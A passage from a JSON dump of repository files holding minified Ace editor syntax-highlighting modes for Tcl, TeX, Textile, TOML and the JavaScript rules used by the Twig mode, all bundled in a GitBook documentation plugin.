]*[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"variable.instance\",regex:\"[$]\",next:\"variable\"},{token:\"support.function\",regex:\"(?:[:][:])[a-zA-Z0-9_/]+(?:[:][:])\",next:\"commandItem\"},{token:\"support.function\",regex:\"[a-zA-Z0-9_/]+(?:[:][:])\",next:\"commandItem\"},{token:\"support.function\",regex:\"(?:[:][:])\",next:\"commandItem\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"support.function\",regex:\"!|\\\\$|%|&|\\\\*|\\\\-\\\\-|\\\\-|\\\\+\\\\+|\\\\+|~|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\\\|\\\\||\\\\?\\\\:|\\\\*=|%=|\\\\+=|\\\\-=|&=|\\\\^=|{\\\\*}|;|::\"},{token:\"keyword\",regex:\"[a-zA-Z0-9_/]+\",next:\"start\"}],commentfollow:[{token:\"comment\",regex:\".*\\\\\\\\$\",next:\"commentfollow\"},{token:\"comment\",regex:\".+\",next:\"start\"}],splitlineStart:[{token:\"text\",regex:\"^.\",next:\"start\"}],variable:[{token:\"variable.instance\",regex:\"[a-zA-Z_\\\\d]+(?:[(][a-zA-Z_\\\\d]+[)])?\",next:\"start\"},{token:\"variable.instance\",regex:\"{?[a-zA-Z_\\\\d]+}?\",next:\"start\"}],qqstring:[{token:\"string\",regex:'(?:[^\\\\\\\\]|\\\\\\\\.)*?[\"]',next:\"start\"},{token:\"string\",regex:\".+\"}]}};r.inherits(s,i),t.TclHighlightRules=s}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/tcl\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/folding/cstyle\",\"ace/mode/tcl_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./folding/cstyle\").FoldMode,o=e(\"./tcl_highlight_rules\").TclHighlightRules,u=e(\"./matching_brace_outdent\").MatchingBraceOutdent,a=e(\"../range\").Range,f=function(){this.HighlightRules=o,this.$outdent=new u,this.foldingRules=new s};r.inherits(f,i),function(){this.lineCommentStart=\"#\",this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var o=t.match(/^.*[\\{\\(\\[]\\s*$/);o&&(r+=n)}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/tcl\"}.call(f.prototype),t.Mode=f})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-tex.js",
    "content": "define(\"ace/mode/tex_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(e){e||(e=\"text\"),this.$rules={start:[{token:\"comment\",regex:\"%.*$\"},{token:e,regex:\"\\\\\\\\[$&%#\\\\{\\\\}]\"},{token:\"keyword\",regex:\"\\\\\\\\(?:documentclass|usepackage|newcounter|setcounter|addtocounter|value|arabic|stepcounter|newenvironment|renewenvironment|ref|vref|eqref|pageref|label|cite[a-zA-Z]*|tag|begin|end|bibitem)\\\\b\",next:\"nospell\"},{token:\"keyword\",regex:\"\\\\\\\\(?:[a-zA-z0-9]+|[^a-zA-z0-9])\"},{token:\"paren.keyword.operator\",regex:\"[[({]\"},{token:\"paren.keyword.operator\",regex:\"[\\\\])}]\"},{token:e,regex:\"\\\\s+\"}],nospell:[{token:\"comment\",regex:\"%.*$\",next:\"start\"},{token:\"nospell.\"+e,regex:\"\\\\\\\\[$&%#\\\\{\\\\}]\"},{token:\"keyword\",regex:\"\\\\\\\\(?:documentclass|usepackage|newcounter|setcounter|addtocounter|value|arabic|stepcounter|newenvironment|renewenvironment|ref|vref|eqref|pageref|label|cite[a-zA-Z]*|tag|begin|end|bibitem)\\\\b\"},{token:\"keyword\",regex:\"\\\\\\\\(?:[a-zA-z0-9]+|[^a-zA-z0-9])\",next:\"start\"},{token:\"paren.keyword.operator\",regex:\"[[({]\"},{token:\"paren.keyword.operator\",regex:\"[\\\\])]\"},{token:\"paren.keyword.operator\",regex:\"}\",next:\"start\"},{token:\"nospell.\"+e,regex:\"\\\\s+\"},{token:\"nospell.\"+e,regex:\"\\\\w+\"}]}};r.inherits(o,s),t.TexHighlightRules=o}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/tex\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/text_highlight_rules\",\"ace/mode/tex_highlight_rules\",\"ace/mode/matching_brace_outdent\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./text_highlight_rules\").TextHighlightRules,o=e(\"./tex_highlight_rules\").TexHighlightRules,u=e(\"./matching_brace_outdent\").MatchingBraceOutdent,a=function(e){e?this.HighlightRules=s:this.HighlightRules=o,this.$outdent=new u};r.inherits(a,i),function(){this.lineCommentStart=\"%\",this.getNextLineIndent=function(e,t,n){return this.$getIndent(t)},this.allowAutoInsert=function(){return!1},this.$id=\"ace/mode/tex\"}.call(a.prototype),t.Mode=a})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-text.js",
    "content": ""
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-textile.js",
    "content": "define(\"ace/mode/textile_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:function(e){return e.charAt(0)==\"h\"?\"markup.heading.\"+e.charAt(1):\"markup.heading\"},regex:\"h1|h2|h3|h4|h5|h6|bq|p|bc|pre\",next:\"blocktag\"},{token:\"keyword\",regex:\"[\\\\*]+|[#]+\"},{token:\"text\",regex:\".+\"}],blocktag:[{token:\"keyword\",regex:\"\\\\. \",next:\"start\"},{token:\"keyword\",regex:\"\\\\(\",next:\"blocktagproperties\"}],blocktagproperties:[{token:\"keyword\",regex:\"\\\\)\",next:\"blocktag\"},{token:\"string\",regex:\"[a-zA-Z0-9\\\\-_]+\"},{token:\"keyword\",regex:\"#\"}]}};r.inherits(s,i),t.TextileHighlightRules=s}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/textile\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/textile_highlight_rules\",\"ace/mode/matching_brace_outdent\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./textile_highlight_rules\").TextileHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=function(){this.HighlightRules=s,this.$outdent=new o};r.inherits(u,i),function(){this.type=\"text\",this.getNextLineIndent=function(e,t,n){return e==\"intag\"?n:\"\"},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/textile\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-toml.js",
    "content": "define(\"ace/mode/toml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=this.createKeywordMapper({\"constant.language.boolean\":\"true|false\"},\"identifier\"),t=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\";this.$rules={start:[{token:\"comment.toml\",regex:/#.*$/},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:[\"variable.keygroup.toml\"],regex:\"(?:^\\\\s*)(\\\\[\\\\[([^\\\\]]+)\\\\]\\\\])\"},{token:[\"variable.keygroup.toml\"],regex:\"(?:^\\\\s*)(\\\\[([^\\\\]]+)\\\\])\"},{token:e,regex:t},{token:\"support.date.toml\",regex:\"\\\\d{4}-\\\\d{2}-\\\\d{2}(T)\\\\d{2}:\\\\d{2}:\\\\d{2}(Z)\"},{token:\"constant.numeric.toml\",regex:\"-?\\\\d+(\\\\.?\\\\d+)?\"}],qqstring:[{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"constant.language.escape\",regex:'\\\\\\\\[0tnr\"\\\\\\\\]'},{token:\"string\",regex:'\"|$',next:\"start\"},{defaultToken:\"string\"}]}};r.inherits(s,i),t.TomlHighlightRules=s}),define(\"ace/mode/folding/ini\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(){};r.inherits(o,s),function(){this.foldingStartMarker=/^\\s*\\[([^\\])]*)]\\s*(?:$|[;#])/,this.getFoldWidgetRange=function(e,t,n){var r=this.foldingStartMarker,s=e.getLine(n),o=s.match(r);if(!o)return;var u=o[1]+\".\",a=s.length,f=e.getLength(),l=n,c=n;while(++n<f){s=e.getLine(n);if(/^\\s*$/.test(s))continue;o=s.match(r);if(o&&o[1].lastIndexOf(u,0)!==0)break;c=n}if(c>l){var h=e.getLine(c).length;return new i(l,a,c,h)}}}.call(o.prototype)}),define(\"ace/mode/toml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/toml_highlight_rules\",\"ace/mode/folding/ini\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./toml_highlight_rules\").TomlHighlightRules,o=e(\"./folding/ini\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\"#\",this.$id=\"ace/mode/toml\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-twig.js",
    "content": "define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";function a(){var e=o.replace(\"\\\\d\",\"\\\\d\\\\-\"),t={onMatch:function(e,t,n){var r=e.charAt(1)==\"/\"?2:1;if(r==1)t!=this.nextState?n.unshift(this.next,this.nextState,0):n.unshift(this.next),n[2]++;else if(r==2&&t==this.nextState){n[1]--;if(!n[1]||n[1]<0)n.shift(),n.shift()}return[{type:\"meta.tag.punctuation.\"+(r==1?\"\":\"end-\")+\"tag-open.xml\",value:e.slice(0,r)},{type:\"meta.tag.tag-name.xml\",value:e.substr(r)}]},regex:\"</?\"+e+\"\",next:\"jsxAttributes\",nextState:\"jsx\"};this.$rules.start.unshift(t);var n={regex:\"{\",token:\"paren.quasi.start\",push:\"start\"};this.$rules.jsx=[n,t,{include:\"reference\"},{defaultToken:\"string\"}],this.$rules.jsxAttributes=[{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",onMatch:function(e,t,n){return t==n[0]&&n.shift(),e.length==2&&(n[0]==this.nextState&&n[1]--,(!n[1]||n[1]<0)&&n.splice(0,2)),this.next=n[0]||\"start\",[{type:this.token,value:e}]},nextState:\"jsx\"},n,{token:\"entity.other.attribute-name.xml\",regex:e},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"},{token:\"string.attribute-value.xml\",regex:\"'\",stateName:\"jsx_attr_q\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},n,{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',stateName:\"jsx_attr_qq\",push:[n,{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]}],this.$rules.reference=[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}]}var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",u=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+o+\")(\\\\.)(prototype)(\\\\.)(\"+o+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+o+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:o},{token:\"punctuation.operator\",regex:/[.](?![.])/,next:\"property\"},{token:\"keyword.operator\",regex:/--|\\+\\+|\\.{3}|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],property:[{token:\"text\",regex:\"\\\\s+\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(?:(\\\\s+)(\\\\w+))?(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"punctuation.operator\",regex:/[.](?![.])/},{token:\"support.function\",regex:/(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:\"support.function.dom\",regex:/(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:\"support.constant\",regex:/(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:\"identifier\",regex:o},{regex:\"\",token:\"empty\",next:\"no_regex\"}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:o},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]};if(!e||!e.noES6)this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1||this.next.indexOf(\"jsx\")!=-1)return\"paren.quasi.end\"}return 